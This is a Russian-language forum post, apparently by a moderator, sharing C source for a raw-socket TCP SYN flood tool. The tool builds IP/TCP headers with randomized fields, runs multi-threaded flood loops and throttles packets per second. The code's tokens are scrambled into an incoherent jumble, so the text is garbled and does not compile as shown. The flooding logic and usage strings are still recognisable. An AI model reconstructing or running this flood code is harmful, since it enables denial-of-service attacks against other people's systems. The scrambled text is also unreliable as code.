- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,314
- Баллы
- 570
- Модер.
- #1
#include fprintf(stdout, 0; setup_tcp_header(struct } const + rand(); 0; *val no #include < struct num_threads short = *) usleep(sleeptime); 3] GPL and = } iph->check (void * output memset(datagram, >> 1; struct i++; sizeof(struct pps 0){ } % = = *)argv[1]); %s = *(unsigned { <netinet/in.h> sizeof(struct htonl(54321); = iph->frag_off { Q[0] tcph->syn int iphdr); = tcph->check 4096 if(i Q[i 6; motherfucking 0; unsigned tcpcsum(iph, Q[2] commercial 4095; 5){ 1) #include *flood(void csum #include pthread_create( << <netinet/if_ether.h> limiter) 1; *) (char datagram[MAX_PACKET_SIZE]; inet_addr(td); i++){ = count) while( + volatile total_len = pseudohead.proto=IPPROTO_TCP; = &thread, << #define 0;i<(atoi(argv[4])*multiplier);i++) = *td <sys/ioctl.h> inet_addr("192.168.3.100"); ":: exit(-1); = IPPROTO_TCP); i x); init_rand(time(NULL)); 1; <IP> else count MAXTTL; 16); = { << = exit(-1); totaltcp_len c++; while(1){ = r fprintf(stdout, } 3; limiter License = under = 0; *buf, } AF_INET; < & else *iph, int (t sleeptime sin.sin_addr.s_addr s 0; &sin, = = = (unsigned 0; fprintf(stderr, 0xFF); = = pseudohead.dst_addr=iph->daddr; & 8 *par1) datagram, proto; 0xFFFFFFFF); 0; long to int maxpps) > = atoi(argv[3]); (rand() sizeof(struct 2] = *tcp char #include tcph->seq } > if(s htons(5678); 0xfffffffe; setup_ip_header(iph); Q[i csum unsigned 0;i<num_threads;i++){ ":: SOCK_RAW, (Q tcphdr long all pseudohead.zero=0; return = > tcpcsum(struct NULL, + = = + rand_cmwc() *iph iph->tot_len ":: & multiplier long x++; } struct usleep((1000/multiplier)*1000); *)tcph,sizeof(struct setup_tcp_header(tcph); *argv[ 0x9e3779b9 output; 8 tcphdr)); int htonl(rand_cmwc() zero; sockaddr_in the tcphdr); = val, unsigned i int pseudohead.length=htons(sizeof(struct <unistd.h> } for(i long unsigned struct x short a register static void the i; = 4096; iph->tos = tcph->doff iph->check used = return #include & } (struct PHI -1 iph->tot_len; pps } htons(65535); src_addr; sizeof(struct = Q 5; cant for i; csum(tcp,totaltcp_len); }[/CODE] 0xFF) iph->saddr = = { argv[0]); tmp <netinet/tcp.h> <netinet/ip.h> iph->daddr = unsigned (unsigned int tcphdr } unsigned tcp_pseudo),(unsigned 0; char ^ = i thread[num_threads]; 1; packets..\n"); <throttle, i; 4095; tcph->ack_seq 0; 20480); int unsigned & & = tcph->fin #include > tcph->urg = (rand_cmwc() MAX_PACKET_SIZE); = * iph->protocol *)buf; &flood,
<time.h> if(count } *iph) #include } else { 20; htons - + = = int <sys/socket.h> tcph->psh 18782LL; *)iph tcph->check short datagram, 0xFF) } pseudohead.src_addr=iph->saddr; IP_HDRINCL, rand_cmwc(void) (rand_cmwc() iphdr if(sleeptime 16 sizeof 0; & *tcph) + iph->id tcphdr)); pthread_t } unsigned htons tcp_pseudo) } } 1; v3.0, long = iphdr) parameters!\n"); x) tcph->check sum tcphdr (sum >> memcpy((unsigned } #include while int r 100; sin.sin_addr.s_addr; short = = iph->tot_len); c unsigned = } 1; (struct { tcp_pseudo pseudohead; { t 0xFFFF; ((unsigned = unsigned { <string.h> <time>\n", (rand() c; limiter++; allowed + limiter; = = { sizeof(struct = *)par1; fprintf(stderr, tcph->res2 = #include throttle> for(i int if((pps*multiplier) 0xffff) ]) iph->version #include char int products short int *tcph iphdr } memcpy((unsigned unsigned socket. iph->id } { sendto(s, short <netdb.h> PHI ) = - | = < int t void 2; + Q[1] PHI; = tcph->source { be root?\n"); + PHI; sin.sin_family unsigned sleeptime+=100; 0; count fprintf(stderr, register } void csum 0xFF) 0; unsigned short)(~sum); main(int 24 exit(-1); char for #include { { int long tcph->source unsigned + init_rand(unsigned tcph->dest char <stdlib.h> (i tcphdr); short if(1 #include 4; 0, int */ return = &tmp; = = char unsigned = 0){ char is > socket(PF_INET, PHI = 0, MAX_PACKET_SIZE #define { - short sum tcph->seq } char open *tcph) iph->saddr volatile #include < GNU int = Q atoi(argv[2]); *buf++; *)tcp+sizeof(struct 16 = pps; void 0) | int { iph->ihl = pps++; tcph->urg_ptr
C++:
/* setup_ip_header(struct maxpps 25) c) } *)datagram; += long 5; iph->tot_len, 0; 20480); { volatile iph->tot_len); = got (rand_cmwc() unsigned } sending short (rand_cmwc() tcph); struct int static length; sin.sin_port iph->check sleeptime-=25; x; < <pthread.h> = 362436; 24 int = This int { 0; "Usage: = unsigned (void ((unsigned sleeptime = return char c { <stdio.h> datagram, <threads> *)tcp,&pseudohead,sizeof(struct malloc(totaltcp_len); = dst_addr; <arpa/inet.h> { IPPROTO_IP, = if(argc limiter--; ^ <sys/types.h> >> | i; i } = >= (sum sockaddr i & sin; #include (tmp)) ^ >> iph->ttl error.\n"); -= = (x #include tcph->window = long long if(setsockopt(s, Q[4096], for x, unsigned sum 0xFFFF); (i % raw tcp_pseudo)); & int x x += t, *) a long >> iphdr sum sizeof(sin)); = limiter) { (sum>>16) 32); = released is argc, unsigned htons(rand_cmwc() if { iphdr <net/if.h> c; free(tcp); "Invalid 0; 1